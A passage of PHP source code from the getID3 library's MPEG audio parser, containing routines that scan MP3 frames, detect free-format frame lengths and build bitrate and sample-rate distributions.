						//$this->warning('VBR header ignored, assuming CBR '.round($cbr_bitrate_in_short_scan / 1000).'kbps based on scan of '.$this->mp3_valid_check_frames.' frames');
					}
				}
			}
			if (isset($this->getid3->info['mp3_validity_check_bitrates'])) {
				unset($this->getid3->info['mp3_validity_check_bitrates']);
			}

		}


		//if (false) {
		//    // experimental side info parsing section - not returning anything useful yet
		//
		//    $SideInfoBitstream = getid3_lib::BigEndian2Bin($SideInfoData);
		//    $SideInfoOffset = 0;
		//
		//    if ($thisfile_mpeg_audio['version'] == '1') {
		//        if ($thisfile_mpeg_audio['channelmode'] == 'mono') {
		//            // MPEG-1 (mono)
		//            $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 9);
		//            $SideInfoOffset += 9;
		//            $SideInfoOffset += 5;
		//        } else {
		//            // MPEG-1 (stereo, joint-stereo, dual-channel)
		//            $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 9);
		//            $SideInfoOffset += 9;
		//            $SideInfoOffset += 3;
		//        }
		//    } else { // 2 or 2.5
		//        if ($thisfile_mpeg_audio['channelmode'] == 'mono') {
		//            // MPEG-2, MPEG-2.5 (mono)
		//            $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 8);
		//            $SideInfoOffset += 8;
		//            $SideInfoOffset += 1;
		//        } else {
		//            // MPEG-2, MPEG-2.5 (stereo, joint-stereo, dual-channel)
		//            $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 8);
		//            $SideInfoOffset += 8;
		//            $SideInfoOffset += 2;
		//        }
		//    }
		//
		//    if ($thisfile_mpeg_audio['version'] == '1') {
		//        for ($channel = 0; $channel < $info['audio']['channels']; $channel++) {
		//            for ($scfsi_band = 0; $scfsi_band < 4; $scfsi_band++) {
		//                $thisfile_mpeg_audio['scfsi'][$channel][$scfsi_band] = substr($SideInfoBitstream, $SideInfoOffset, 1);
		//                $SideInfoOffset += 2;
		//            }
		//        }
		//    }
		//    for ($granule = 0; $granule < (($thisfile_mpeg_audio['version'] == '1') ? 2 : 1); $granule++) {
		//        for ($channel = 0; $channel < $info['audio']['channels']; $channel++) {
		//            $thisfile_mpeg_audio['part2_3_length'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 12);
		//            $SideInfoOffset += 12;
		//            $thisfile_mpeg_audio['big_values'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 9);
		//            $SideInfoOffset += 9;
		//            $thisfile_mpeg_audio['global_gain'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 8);
		//            $SideInfoOffset += 8;
		//            if ($thisfile_mpeg_audio['version'] == '1') {
		//                $thisfile_mpeg_audio['scalefac_compress'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 4);
		//                $SideInfoOffset += 4;
		//            } else {
		//                $thisfile_mpeg_audio['scalefac_compress'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 9);
		//                $SideInfoOffset += 9;
		//            }
		//            $thisfile_mpeg_audio['window_switching_flag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
		//            $SideInfoOffset += 1;
		//
		//            if ($thisfile_mpeg_audio['window_switching_flag'][$granule][$channel] == '1') {
		//
		//                $thisfile_mpeg_audio['block_type'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 2);
		//                $SideInfoOffset += 2;
		//                $thisfile_mpeg_audio['mixed_block_flag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
		//                $SideInfoOffset += 1;
		//
		//                for ($region = 0; $region < 2; $region++) {
		//                    $thisfile_mpeg_audio['table_select'][$granule][$channel][$region] = substr($SideInfoBitstream, $SideInfoOffset, 5);
		//                    $SideInfoOffset += 5;
		//                }
		//                $thisfile_mpeg_audio['table_select'][$granule][$channel][2] = 0;
		//
		//                for ($window = 0; $window < 3; $window++) {
		//                    $thisfile_mpeg_audio['subblock_gain'][$granule][$channel][$window] = substr($SideInfoBitstream, $SideInfoOffset, 3);
		//                    $SideInfoOffset += 3;
		//                }
		//
		//            } else {
		//
		//                for ($region = 0; $region < 3; $region++) {
		//                    $thisfile_mpeg_audio['table_select'][$granule][$channel][$region] = substr($SideInfoBitstream, $SideInfoOffset, 5);
		//                    $SideInfoOffset += 5;
		//                }
		//
		//                $thisfile_mpeg_audio['region0_count'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 4);
		//                $SideInfoOffset += 4;
		//                $thisfile_mpeg_audio['region1_count'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 3);
		//                $SideInfoOffset += 3;
		//                $thisfile_mpeg_audio['block_type'][$granule][$channel] = 0;
		//            }
		//
		//            if ($thisfile_mpeg_audio['version'] == '1') {
		//                $thisfile_mpeg_audio['preflag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
		//                $SideInfoOffset += 1;
		//            }
		//            $thisfile_mpeg_audio['scalefac_scale'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
		//            $SideInfoOffset += 1;
		//            $thisfile_mpeg_audio['count1table_select'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
		//            $SideInfoOffset += 1;
		//        }
		//    }
		//}

		return true;
	}

	/**
	 * @param int $offset
	 * @param int $nextframetestoffset
	 * @param bool $ScanAsCBR
	 *
	 * @return bool
	 */
	public function RecursiveFrameScanning(&$offset, &$nextframetestoffset, $ScanAsCBR) {
		$info = &$this->getid3->info;
		$firstframetestarray = array('error' => array(), 'warning'=> array(), 'avdataend' => $info['avdataend'], 'avdataoffset' => $info['avdataoffset']);
		$this->decodeMPEGaudioHeader($offset, $firstframetestarray, false);

		$info['mp3_validity_check_bitrates'] = array();
		for ($i = 0; $i < $this->mp3_valid_check_frames; $i++) {
			// check next (default: 50) frames for validity, to make sure we haven't run across a false synch
			if (($nextframetestoffset + 4) >= $info['avdataend']) {
				// end of file
				return true;
			}

			$nextframetestarray = array('error' => array(), 'warning' => array(), 'avdataend' => $info['avdataend'], 'avdataoffset'=>$info['avdataoffset']);
			if ($this->decodeMPEGaudioHeader($nextframetestoffset, $nextframetestarray, false)) {
				getid3_lib::safe_inc($info['mp3_validity_check_bitrates'][$nextframetestarray['mpeg']['audio']['bitrate']]);
				if ($ScanAsCBR) {
					// force CBR mode, used for trying to pick out invalid audio streams with valid(?) VBR headers, or VBR streams with no VBR header
					if (!isset($nextframetestarray['mpeg']['audio']['bitrate']) || !isset($firstframetestarray['mpeg']['audio']['bitrate']) || ($nextframetestarray['mpeg']['audio']['bitrate'] != $firstframetestarray['mpeg']['audio']['bitrate'])) {
						return false;
					}
				}


				// next frame is OK, get ready to check the one after that
				if (isset($nextframetestarray['mpeg']['audio']['framelength']) && ($nextframetestarray['mpeg']['audio']['framelength'] > 0)) {
					$nextframetestoffset += (int) $nextframetestarray['mpeg']['audio']['framelength'];
				} else {
					$this->error('Frame at offset ('.$offset.') is has an invalid frame length.');
					return false;
				}

			} elseif (!empty($firstframetestarray['mpeg']['audio']['framelength']) && (($nextframetestoffset + $firstframetestarray['mpeg']['audio']['framelength']) > $info['avdataend'])) {

				// it's not the end of the file, but there's not enough data left for another frame, so assume it's garbage/padding and return OK
				return true;

			} else {

				// next frame is not valid, note the error and fail, so scanning can contiue for a valid frame sequence
				$this->warning('Frame at offset ('.$offset.') is valid, but the next one at ('.$nextframetestoffset.') is not.');

				return false;
			}
		}
		return true;
	}

	/**
	 * @param int  $offset
	 * @param bool $deepscan
	 *
	 * @return int|false
	 */
	public function FreeFormatFrameLength($offset, $deepscan=false) {
		$info = &$this->getid3->info;

		$this->fseek($offset);
		$MPEGaudioData = $this->fread(32768);

		$SyncPattern1 = substr($MPEGaudioData, 0, 4);
		// may be different pattern due to padding
		$SyncPattern2 = $SyncPattern1[0].$SyncPattern1[1].chr(ord($SyncPattern1[2]) | 0x02).$SyncPattern1[3];
		if ($SyncPattern2 === $SyncPattern1) {
			$SyncPattern2 = $SyncPattern1[0].$SyncPattern1[1].chr(ord($SyncPattern1[2]) & 0xFD).$SyncPattern1[3];
		}

		$framelength = false;
		$framelength1 = strpos($MPEGaudioData, $SyncPattern1, 4);
		$framelength2 = strpos($MPEGaudioData, $SyncPattern2, 4);
		if ($framelength1 > 4) {
			$framelength = $framelength1;
		}
		if (($framelength2 > 4) && ($framelength2 < $framelength1)) {
			$framelength = $framelength2;
		}
		if (!$framelength) {

			// LAME 3.88 has a different value for modeextension on the first frame vs the rest
			$framelength1 = strpos($MPEGaudioData, substr($SyncPattern1, 0, 3), 4);
			$framelength2 = strpos($MPEGaudioData, substr($SyncPattern2, 0, 3), 4);

			if ($framelength1 > 4) {
				$framelength = $framelength1;
			}
			if (($framelength2 > 4) && ($framelength2 < $framelength1)) {
				$framelength = $framelength2;
			}
			if (!$framelength) {
				$this->error('Cannot find next free-format synch pattern ('.getid3_lib::PrintHexBytes($SyncPattern1).' or '.getid3_lib::PrintHexBytes($SyncPattern2).') after offset '.$offset);
				return false;
			} else {
				$this->warning('ModeExtension varies between first frame and other frames (known free-format issue in LAME 3.88)');
				$info['audio']['codec']   = 'LAME';
				$info['audio']['encoder'] = 'LAME3.88';
				$SyncPattern1 = substr($SyncPattern1, 0, 3);
				$SyncPattern2 = substr($SyncPattern2, 0, 3);
			}
		}

		if ($deepscan) {

			$ActualFrameLengthValues = array();
			$nextoffset = $offset + $framelength;
			while ($nextoffset < ($info['avdataend'] - 6)) {
				$this->fseek($nextoffset - 1);
				$NextSyncPattern = $this->fread(6);
				if ((substr($NextSyncPattern, 1, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 1, strlen($SyncPattern2)) == $SyncPattern2)) {
					// good - found where expected
					$ActualFrameLengthValues[] = $framelength;
				} elseif ((substr($NextSyncPattern, 0, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 0, strlen($SyncPattern2)) == $SyncPattern2)) {
					// ok - found one byte earlier than expected (last frame wasn't padded, first frame was)
					$ActualFrameLengthValues[] = ($framelength - 1);
					$nextoffset--;
				} elseif ((substr($NextSyncPattern, 2, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 2, strlen($SyncPattern2)) == $SyncPattern2)) {
					// ok - found one byte later than expected (last frame was padded, first frame wasn't)
					$ActualFrameLengthValues[] = ($framelength + 1);
					$nextoffset++;
				} else {
					$this->error('Did not find expected free-format sync pattern at offset '.$nextoffset);
					return false;
				}
				$nextoffset += $framelength;
			}
			if (count($ActualFrameLengthValues) > 0) {
				$framelength = intval(round(array_sum($ActualFrameLengthValues) / count($ActualFrameLengthValues)));
			}
		}
		return $framelength;
	}

	/**
	 * @return bool
	 */
	public function getOnlyMPEGaudioInfoBruteForce() {
		$MPEGaudioHeaderDecodeCache   = array();
		$MPEGaudioHeaderValidCache    = array();
		$MPEGaudioHeaderLengthCache   = array();
		$MPEGaudioVersionLookup       = self::MPEGaudioVersionArray();
		$MPEGaudioLayerLookup         = self::MPEGaudioLayerArray();
		$MPEGaudioBitrateLookup       = self::MPEGaudioBitrateArray();
		$MPEGaudioFrequencyLookup     = self::MPEGaudioFrequencyArray();
		$MPEGaudioChannelModeLookup   = self::MPEGaudioChannelModeArray();
		$MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray();
		$MPEGaudioEmphasisLookup      = self::MPEGaudioEmphasisArray();
		$LongMPEGversionLookup        = array();
		$LongMPEGlayerLookup          = array();
		$LongMPEGbitrateLookup        = array();
		$LongMPEGpaddingLookup        = array();
		$LongMPEGfrequencyLookup      = array();
		$Distribution                 = array();
		$Distribution['bitrate']      = array();
		$Distribution['frequency']    = array();
		$Distribution['layer']        = array();
		$Distribution['version']      = array();
		$Distribution['padding']      = array();

		$info = &$this->getid3->info;
		$this->fseek($info['avdataoffset']);

		$max_frames_scan = 5000;
		$frames_scanned  = 0;

		$previousvalidframe = $info['avdataoffset'];
		while ($this->ftell() < $info['avdataend']) {
			set_time_limit(30);
			$head4 = $this->fread(4);
			if (strlen($head4) < 4) {
				break;
			}
			if ($head4[0] != "\xFF") {
				for ($i = 1; $i < 4; $i++) {
					if ($head4[$i] == "\xFF") {
						$this->fseek($i - 4, SEEK_CUR);
						continue 2;
					}
				}
				continue;
			}
			if (!isset($MPEGaudioHeaderDecodeCache[$head4])) {
				$MPEGaudioHeaderDecodeCache[$head4] = self::MPEGaudioHeaderDecode($head4);
			}
			if (!isset($MPEGaudioHeaderValidCache[$head4])) {
				$MPEGaudioHeaderValidCache[$head4] = self::MPEGaudioHeaderValid($MPEGaudioHeaderDecodeCache[$head4], false, false);
			}
			if ($MPEGaudioHeaderValidCache[$head4]) {

				if (!isset($MPEGaudioHeaderLengthCache[$head4])) {
					$LongMPEGversionLookup[$head4]   = $MPEGaudioVersionLookup[$MPEGaudioHeaderDecodeCache[$head4]['version']];
					$LongMPEGlayerLookup[$head4]     = $MPEGaudioLayerLookup[$MPEGaudioHeaderDecodeCache[$head4]['layer']];
					$LongMPEGbitrateLookup[$head4]   = $MPEGaudioBitrateLookup[$LongMPEGversionLookup[$head4]][$LongMPEGlayerLookup[$head4]][$MPEGaudioHeaderDecodeCache[$head4]['bitrate']];
					$LongMPEGpaddingLookup[$head4]   = (bool) $MPEGaudioHeaderDecodeCache[$head4]['padding'];
					$LongMPEGfrequencyLookup[$head4] = $MPEGaudioFrequencyLookup[$LongMPEGversionLookup[$head4]][$MPEGaudioHeaderDecodeCache[$head4]['sample_rate']];
					$MPEGaudioHeaderLengthCache[$head4] = self::MPEGaudioFrameLength(
						$LongMPEGbitrateLookup[$head4],
						$LongMPEGversionLookup[$head4],
						$LongMPEGlayerLookup[$head4],
						$LongMPEGpaddingLookup[$head4],
						$LongMPEGfrequencyLookup[$head4]);
				}
				if ($MPEGaudioHeaderLengthCache[$head4] > 4) {
					$WhereWeWere = $this->ftell();
					$this->fseek($MPEGaudioHeaderLengthCache[$head4] - 4, SEEK_CUR);
					$next4 = $this->fread(4);
					if ($next4[0] == "\xFF") {
						if (!isset($MPEGaudioHeaderDecodeCache[$next4])) {
							$MPEGaudioHeaderDecodeCache[$next4] = self::MPEGaudioHeaderDecode($next4);
						}
						if (!isset($MPEGaudioHeaderValidCache[$next4])) {
							$MPEGaudioHeaderValidCache[$next4] = self::MPEGaudioHeaderValid($MPEGaudioHeaderDecodeCache[$next4], false, false);
						}
						if ($MPEGaudioHeaderValidCache[$next4]) {
							$this->fseek(-4, SEEK_CUR);

							$Distribution['bitrate'][$LongMPEGbitrateLookup[$head4]] = isset($Distribution['bitrate'][$LongMPEGbitrateLookup[$head4]]) ? ++$Distribution['bitrate'][$LongMPEGbitrateLookup[$head4]] : 1;
							$Distribution['layer'][$LongMPEGlayerLookup[$head4]] = isset($Distribution['layer'][$LongMPEGlayerLookup[$head4]]) ? ++$Distribution['layer'][$LongMPEGlayerLookup[$head4]] : 1;
							$Distribution['version'][$LongMPEGversionLookup[$head4]] = isset($Distribution['version'][$LongMPEGversionLookup[$head4]]) ? ++$Distribution['version'][$LongMPEGversionLookup[$head4]] : 1;
							$Distribution['padding'][intval($LongMPEGpaddingLookup[$head4])] = isset($Distribution['padding'][intval($LongMPEGpaddingLookup[$head4])]) ? ++$Distribution['padding'][intval($LongMPEGpaddingLookup[$head4])] : 1;
							$Distribution['frequency'][$LongMPEGfrequencyLookup[$head4]] = isset($Distribution['frequency'][$LongMPEGfrequencyLookup[$head4]]) ? ++$Distribution['frequency'][$LongMPEGfrequencyLookup[$head4]] : 1;
							if (++$frames_scanned >= $max_frames_scan) {
								$pct_data_scanned = getid3_lib::SafeDiv($this->ftell() - $info['avdataoffset'], $info['avdataend'] - $info['avdataoffset']);
								$this->warning('too many MPEG audio frames to scan, only scanned first '.$max_frames_scan.' frames ('.number_format($pct_data_scanned * 100, 1).'% of file) and extrapolated distribution, playtime and bitrate may be incorrect.');
								foreach ($Distribution as $key1 => $value1) {
									foreach ($value1 as $key2 => $value2) {
										$Distribution[$key1][$key2] = $pct_data_scanned ? round($value2 / $pct_data_scanned) : 1;
									}
								}
								break;
							}
							continue;
						}
					}
					unset($next4);
					$this->fseek($WhereWeWere - 3);
				}

			}
		}
		foreach ($Distribution as $key => $value) {
			ksort($Distribution[$key], SORT_NUMERIC);
		}
		ksort($Distribution['version'], SORT_STRING);
		$info['mpeg']['audio']['bitrate_distribution']   = $Distribution['bitrate'];
		$info['mpeg']['audio']['frequency_distribution'] = $Distribution['frequency'];
		$info['mpeg']['audio']['layer_distribution']     = $Distribution['layer'];
		$info['mpeg']['audio']['version_distribution']   = $Distribution['version'];
		$info['mpeg']['audio']['padding_distribution']   = $Distribution['padding'];
		if (count($Distribution['version']) > 1) {
			$this->error('Corrupt file - more than one MPEG version detected');
		}
		if (count($Distribution['layer']) > 1) {
			$this->error('Corrupt file - more than one MPEG layer detected');
		}
		if (count($Distribution['frequency']) > 1) {
			$this->error('Corrupt file - more than one MPEG sample rate detected');
		}


		$bittotal = 0;
		foreach ($Distribution['bitrate'] as $bitratevalue => $bitratecount) {
			if ($bitratevalue != 'free') {
				$bittotal += ($bitratevalue * $bitratecount);
			}
		}
		$info['mpeg']['audio']['frame_count']  = array_sum($Distribution['bitrate']);
		if ($info['mpeg']['audio']['frame_count'] == 0) {
			$this->error('no MPEG audio frames found');
			return false;
		}
		$info['mpeg']['audio']['bitrate']      = ($bittotal / $info['mpeg']['audio']['frame_count']);
		$info['mpeg']['audio']['bitrate_mode'] = ((count($Distribution['bitrate']) > 0) ? 'vbr' : 'cbr');
		$info['mpeg']['audio']['sample_rate']  = getid3_lib::array_max($Distribution['frequency'], true);

		$info['audio']['bitrate']      = $info['mpeg']['audio']['bitrate'];
		$info['audio']['bitrate_mode'] = $info['mpeg']['audio']['bitrate_mode'];
		$info['audio']['sample_rate']  = $info['mpeg']['audio']['sample_rate'];
		$info['audio']['dataformat']   = 'mp'.getid3_lib::array_max($Distribution['layer'], true);
		$info['fileformat']            = $info['audio']['dataformat'];

		return true;
	}

	/**
	 * @param int  $avdataoffset
	 * @param bool $BitrateHistogram
	 *
	 * @return bool
	 */
	public function getOnlyMPEGaudioInfo($avdataoffset, $BitrateHistogram=false) {
		// looks for synch, decodes MPEG audio header

		$info = &$this->getid3->info;

		static $MPEGaudioVersionLookup;
		static $MPEGaudioLayerLookup;
		static $MPEGaudioBitrateLookup;
		if (empty($MPEGaudioVersionLookup)) {
			$MPEGaudioVersionLookup = self::MPEGaudioVersionArray();
			$MPEGaudioLayerLookup   = self::MPEGaudioLayerArray();
			$MPEGaudioBitrateLookup = self::MPEGaudioBitrateArray();
		}

		$this->fseek($avdataoffset);
		$sync_seek_buffer_size = min(128 * 1024, $info['avdataend'] - $avdataoffset);
		if ($sync_seek_buffer_size <= 0) {
			$this->error('Invalid $sync_seek_buffer_size at offset '.$avdataoffset);
			return false;
		}
		$header = $this->fread($sync_seek_buffer_size);
		$sync_seek_buffer_size = strlen($header);
		$SynchSeekOffset = 0;
		$SyncSeekAttempts = 0;
		$SyncSeekAttemptsMax = 1000;
		$FirstFrameThisfileInfo = null;
		while ($SynchSeekOffset < $sync_seek_buffer_size) {
			if ((($avdataoffset + $SynchSeekOffset)  < $info['avdataend']) && !$this->feof()) {

				if ($SynchSeekOffset > $sync_seek_buffer_size) {
					// if a synch's not found within the first 128k bytes, then give up
					$this->error('Could not find valid MPEG audio synch within the first '.round($sync_seek_buffer_size / 1024).'kB');
					if (isset($info['audio']['bitrate'])) {
						unset($info['audio']['bitrate']);
					}
					if (isset($info['mpeg']['audio'])) {
						unset($info['mpeg']['audio']);
					}
					if (empty($info['mpeg'])) {
						unset($info['mpeg']);
					}
					return false;
				}
			}

			if (($SynchSeekOffset + 1) >= strlen($header)) {
				$this->error('Could not find valid MPEG synch before end of file');
				return false;
			}

			if (($header[$SynchSeekOffset] == "\xFF") && ($header[($SynchSeekOffset + 1)] > "\xE0")) { // possible synch detected
				if (++$SyncSeekAttempts >= $SyncSeekAttemptsMax) {
					// https://github.com/JamesHeinrich/getID3/issues/286
					// corrupt files claiming to be MP3, with a large number of 0xFF bytes near the beginning, can cause this loop to take a very long time
					// should have escape condition to avoid spending too much time scanning a corrupt file
					// if a synch's not found within the first 128k bytes, then give up
					$this->error('Could not find valid MPEG audio synch after scanning '.$SyncSeekAttempts.' candidate offsets');
					if (isset($info['audio']['bitrate'])) {
						unset($info['audio']['bitrate']);
					}
					if (isset($info['mpeg']['audio'])) {
						unset($info['mpeg']['audio']);
					}
					if (empty($info['mpeg'])) {
						unset($info['mpeg']);
					}
					return false;
				}
				$FirstFrameAVDataOffset = null;
				if (!isset($FirstFrameThisfileInfo) && !isset($info['mpeg']['audio'])) {
					$FirstFrameThisfileInfo = $info;
					$FirstFrameAVDataOffset = $avdataoffset + $SynchSeekOffset;
					if (!$this->decodeMPEGaudioHeader($FirstFrameAVDataOffset, $FirstFrameThisfileInfo, false)) {
						// if this is the first valid MPEG-audio frame, save it in case it's a VBR header frame and there's
						// garbage between this frame and a valid sequence of MPEG-audio frames, to be restored below
						unset($FirstFrameThisfileInfo);
					}
				}

				$dummy = $info; // only overwrite real data if valid header found
				if ($this->decodeMPEGaudioHeader($avdataoffset + $SynchSeekOffset, $dummy, true)) {
					$info = $dummy;
					$info['avdataoffset'] = $avdataoffset + $SynchSeekOffset;
					switch (isset($info['fileformat']) ? $info['fileformat'] : '') {
						case '':
						case 'id3':
						case 'ape':
						case 'mp3':
							$info['fileformat']          = 'mp3';
							$info['audio']['dataformat'] = 'mp3';
							break;
					}
					if (isset($FirstFrameThisfileInfo) && isset($FirstFrameThisfileInfo['mpeg']['audio']['bitrate_mode']) && ($FirstFrameThisfileInfo['mpeg']['audio']['bitrate_mode'] == 'vbr')) {
						if (!(abs($info['audio']['bitrate'] - $FirstFrameThisfileInfo['audio']['bitrate']) <= 1)) {
							// If there is garbage data between a valid VBR header frame and a sequence
							// of valid MPEG-audio frames the VBR data is no longer discarded.
							$info = $FirstFrameThisfileInfo;
							$info['avdataoffset']        = $FirstFrameAVDataOffset;
							$info['fileformat']          = 'mp3';
							$info['audio']['dataformat'] = 'mp3';
							$dummy                       = $info;
							unset($dummy['mpeg']['audio']);
							$GarbageOffsetStart = $FirstFrameAVDataOffset + $FirstFrameThisfileInfo['mpeg']['audio']['framelength'];
							$GarbageOffsetEnd   = $avdataoffset + $SynchSeekOffset;
							if ($this->decodeMPEGaudioHeader($GarbageOffsetEnd, $dummy, true, true)) {
								$info = $dummy;
								$info['avdataoffset'] = $GarbageOffsetEnd;
								$this->warning('apparently-valid VBR header not used because could not find '.$this->mp3_valid_check_frames.' consecutive MPEG-audio frames immediately after VBR header (garbage data for '.($GarbageOffsetEnd - $GarbageOffsetStart).' bytes between '.$GarbageOffsetStart.' and '.$GarbageOffsetEnd.'), but did find valid CBR stream starting at '.$GarbageOffsetEnd);
							} else {
								$this->warning('using data from VBR header even though could not find '.$this->mp3_valid_check_frames.' consecutive MPEG-audio frames immediately after VBR header (garbage data for '.($GarbageOffsetEnd - $GarbageOffsetStart).' bytes between '.$GarbageOffsetStart.' and '.$GarbageOffsetEnd.')');
							}
						}
					}
					if (isset($info['mpeg']['audio']['bitrate_mode']) && ($info['mpeg']['audio']['bitrate_mode'] == 'vbr') && !isset($info['mpeg']['audio']['VBR_method'])) {
						// VBR file with no VBR header
						$BitrateHistogram = true;
					}

					if ($BitrateHistogram) {

						$info['mpeg']['audio']['stereo_distribution']  = array('stereo'=>0, 'joint stereo'=>0, 'dual channel'=>0, 'mono'=>0);
						$info['mpeg']['audio']['version_distribution'] = array('1'=>0, '2'=>0, '2.5'=>0);

						if ($info['mpeg']['audio']['version'] == '1') {
							if ($info['mpeg']['audio']['layer'] == 3) {
								$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 40000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 320000=>0);
							} elseif ($info['mpeg']['audio']['layer'] == 2) {
								$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 320000=>0, 384000=>0);
							} elseif ($info['mpeg']['audio']['layer'] == 1) {
								$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 64000=>0, 96000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 288000=>0, 320000=>0, 352000=>0, 384000=>0, 416000=>0, 448000=>0);
							}
						} elseif ($info['mpeg']['audio']['layer'] == 1) {
							$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 144000=>0, 160000=>0, 176000=>0, 192000=>0, 224000=>0, 256000=>0);
						} else {
							$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 8000=>0, 16000=>0, 24000=>0, 32000=>0, 40000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 144000=>0, 160000=>0);
						}

						$dummy = array('error'=>$info['error'], 'warning'=>$info['warning'], 'avdataend'=>$info['avdataend'], 'avdataoffset'=>$info['avdataoffset']);
						$synchstartoffset = $info['avdataoffset'];
						$this->fseek($info['avdataoffset']);

						// you can play with these numbers:
						$max_frames_scan  = 50000;
						$max_scan_segments = 10;

						// don't play with these numbers:
						$FastMode = false;
						$SynchErrorsFound = 0;
						$frames_scanned   = 0;
						$this_scan_segment = 0;
						$frames_scan_per_segment = ceil($max_frames_scan / $max_scan_segments);
						$pct_data_scanned = 0;
						for ($current_segment = 0; $current_segment < $max_scan_segments; $current_segment++) {
							$frames_scanned_this_segment = 0;
							$scan_start_offset = array();
							if ($this->ftell() >= $info['avdataend']) {
								break;
							}
							$scan_start_offset[$current_segment] = max($this->ftell(), $info['avdataoffset'] + round($current_segment * (($info['avdataend'] - $info['avdataoffset']) / $max_scan_segments)));
							if ($current_segment > 0) {
								$this->fseek($scan_start_offset[$current_segment]);
								$buffer_4k = $this->fread(4096);
								for ($j = 0; $j < (strlen($buffer_4k) - 4); $j++) {
									if (($buffer_4k[$j] == "\xFF") && ($buffer_4k[($j + 1)] > "\xE0")) { // synch detected
										if ($this->decodeMPEGaudioHeader($scan_start_offset[$current_segment] + $j, $dummy, false, false, $FastMode)) {
											$calculated_next_offset = $scan_start_offset[$current_segment] + $j + $dummy['mpeg']['audio']['framelength'];
											if ($this->decodeMPEGaudioHeader($calculated_next_offset, $dummy, false, false, $FastMode)) {
												$scan_start_offset[$current_segment] += $j;
												break;
											}
										}
									}
								}
							}
							$synchstartoffset = $scan_start_offset[$current_segment];
							while (($synchstartoffset < $info['avdataend']) && $this->decodeMPEGaudioHeader($synchstartoffset, $dummy, false, false, $FastMode)) {
								$FastMode = true;
								$thisframebitrate = $MPEGaudioBitrateLookup[$MPEGaudioVersionLookup[$dummy['mpeg']['audio']['raw']['version']]][$MPEGaudioLayerLookup[$dummy['mpeg']['audio']['raw']['layer']]][$dummy['mpeg']['audio']['raw']['bitrate']];

								if (empty($dummy['mpeg']['audio']['framelength'])) {
									$SynchErrorsFound++;
									$synchstartoffset++;
								} else {
									getid3_lib::safe_inc($info['mpeg']['audio']['bitrate_distribution'][$thisframebitrate]);
									getid3_lib::safe_inc($info['mpeg']['audio']['stereo_distribution'][$dummy['mpeg']['audio']['channelmode']]);
									getid3_lib::safe_inc($info['mpeg']['audio']['version_distribution'][$dummy['mpeg']['audio']['version']]);
									$synchstartoffset += $dummy['mpeg']['audio']['framelength'];
								}
								$frames_scanned++;
								if ($frames_scan_per_segment && (++$frames_scanned_this_segment >= $frames_scan_per_segment)) {
									$this_pct_scanned = getid3_lib::SafeDiv($this->ftell() - $scan_start_offset[$current_segment], $info['avdataend'] - $info['avdataoffset']);
									if (($current_segment == 0) && (($this_pct_scanned * $max_scan_segments) >= 1)) {
										// file likely contains < $max_frames_scan, just scan as one segment
										$max_scan_segments = 1;
										$frames_scan_per_segment = $max_frames_scan;
									} else {
										$pct_data_scanned += $this_pct_scanned;
										break;
									}
								}
							}
						}
						if ($pct_data_scanned > 0) {
							$this->warning('too many MPEG audio frames to scan, only scanned '.$frames_scanned.' frames in '.$max_scan_segments.' segments ('.number_format($pct_data_scanned * 100, 1).'% of file) and extrapolated distribution, playtime and bitrate may be incorrect.');
							foreach ($info['mpeg']['audio'] as $key1 => $value1) {
								if (!preg_match('#_distribution$#i', $key1)) {
									continue;
								}
								foreach ($value1 as $key2 => $value2) {
									$info['mpeg']['audio'][$key1][$key2] = round($value2 / $pct_data_scanned);
								}
							}
						}

						if ($SynchErrorsFound > 0) {
							$this->warning('Found '.$SynchErrorsFound.' synch errors in histogram analysis');
							//return false;
						}

						$bittotal     = 0;
						$framecounter = 0;
						foreach ($info['mpeg']['audio']['bitrate_distribution'] as $bitratevalue => $bitratecount) {
							$framecounter += $bitratecount;
							if ($bitratevalue != 'free') {
								$bittotal += ($bitratevalue * $bitratecount);
							}
						}
						if ($framecounter == 0) {
							$this->error('Corrupt MP3 file: framecounter == zero');
							return false;
						}
						$info['mpeg']['audio']['frame_count'] = getid3_lib::CastAsInt($framecounter);
						$info['mpeg']['audio']['bitrate']     = ($bittotal / $framecounter);

						$info['audio']['bitrate'] = $info['mpeg']['audio']['bitrate'];


						// Definitively set VBR vs CBR, even if the Xing/LAME/VBRI header says differently
